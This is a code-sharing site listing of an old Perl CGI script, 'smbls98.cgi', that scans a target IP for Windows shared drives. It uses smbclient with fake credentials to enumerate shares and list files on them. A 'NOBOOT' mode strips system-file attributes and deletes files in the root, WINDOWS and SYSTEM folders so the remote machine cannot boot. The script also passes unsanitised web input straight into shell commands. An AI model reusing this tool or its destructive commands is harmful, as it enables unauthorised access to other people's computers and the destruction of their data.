smbls98.cgi
上传用户:puhui2008
上传日期:2007-01-07
资源大小:295k
文件大小:2k
- #!/usr/local/bin/perl
- # SmbLs98 is show shered windows files list.
- #
- # usage: smbls98.cgi [IP]
- # URL:http://xxx.xxx.xxx/~xxxx/slist.cgi?ip=[IP]
- #
- #
- # auther: lumin@ugtop.com
- ############ require programs ###############
- # ADMnmbname or shownmbname and SAMBA.
- #
- # nmbname
- #
- $nmbnamex="./nmbnamex";
- #
- # smbclient URL:http://samba.anu.edu.au/samba/
- #$smbclient="./smbclient"
- $smbclient="/usr/local/samba/bin/smbclient";
- # mode : LIST only ls. NOBOOT make no boot windows.
- $mode="LIST";
- #for cgi user
- $string = $ENV{"QUERY_STRING"};
- ($nameip, $target, ) = split(/=/,$string, 2);
- print "Content-type: text/htmlnn";
- print "<HTML><BODY><pre>n";
- if (!$ENV{"QUERY_STRING"}) {
- #for shell user
- $target=$ARGV[0];
- }
- # get NetBIOS name
- open (INBIOS, "$nmbnamex $target |");
- $test1=<INBIOS>;
- $netbios=$test1;
- close (INBIOS);
- print "============ SMB lister ",;
- if ( length($netbios)>1 || grep (/usage:/,$netbios)) {
- #Header
- print $target," NetBIOS name is ",$test1;
- print "n";
- open (IN, "$smbclient -I $target -L $netbios -U 'Bill Gates' -W Micros0ft -n Gates98 |");
- @list = <IN>;
- print @list;
- #chek list;
- #if (grep(/Samba 1.9.17p1/, $list[7]) || grep(/Samba 1.9.16/,$list[7]) || grep(/Samba 1.9.15/,$list[7])) { print "Level 1n";}
- #if (grep(/C Disk/,$list[13]) ||grep(/C Disk/,$list[14]) ||grep(/C Disk/,$list[15]) || grep(/C Disk/,$list[16]) || grep(/C Disk/,$list[#14]) || grep(/C Disk/,$list[17]) || grep(/C Disk/,$list[18])) { print "Level 2n";}
- $netbios[$i] =~ s/n//;
- chop($netbios);
- for ($i = 10; $i <= 30; $i++)
- {
- if (grep(/Disk/, $list[$i])){
- $list[$i] =~ s/At//;
- ($list[$i]) = ($list[$i] =~ /(A.{0,13})/);
- ($sname, $type, $comment) = split(/ /,$list[$i], 3);
- &smbls ($sname);
- }
- if ($sname=''){ $i=30;}
- }
- close (IN);
- }
- print "n</pre> <BR><a href="../smbls.html">Back </a></BODY></HTML>n";
- sub smbls {
- print "n---------$target://$netbios/$_[0]-----------n";
- if (grep(/LIST/,$mode))
- {
- open (SMB, "$smbclient '//$netbios/$_[0]' -I $target -c ls -U 'Bill Gates' -W Micros0ft -n Gates98 -N|");
- }
- if (grep(/NOBOOT/,$mode))
- {
- open (SMB, "$smbclient '//$netbios/$_[0]' -I $target -c 'setmode IO.SYS -rsh;setmode SYSTEM.1ST -rsh;rm *;cd WINDOWS;rm *;cd SYSTEM;rm *' -U 'Bill Gates' -W Micros0ft -n Gates98 -N|");
- }
- print <SMB>;
- close (SMB);
- }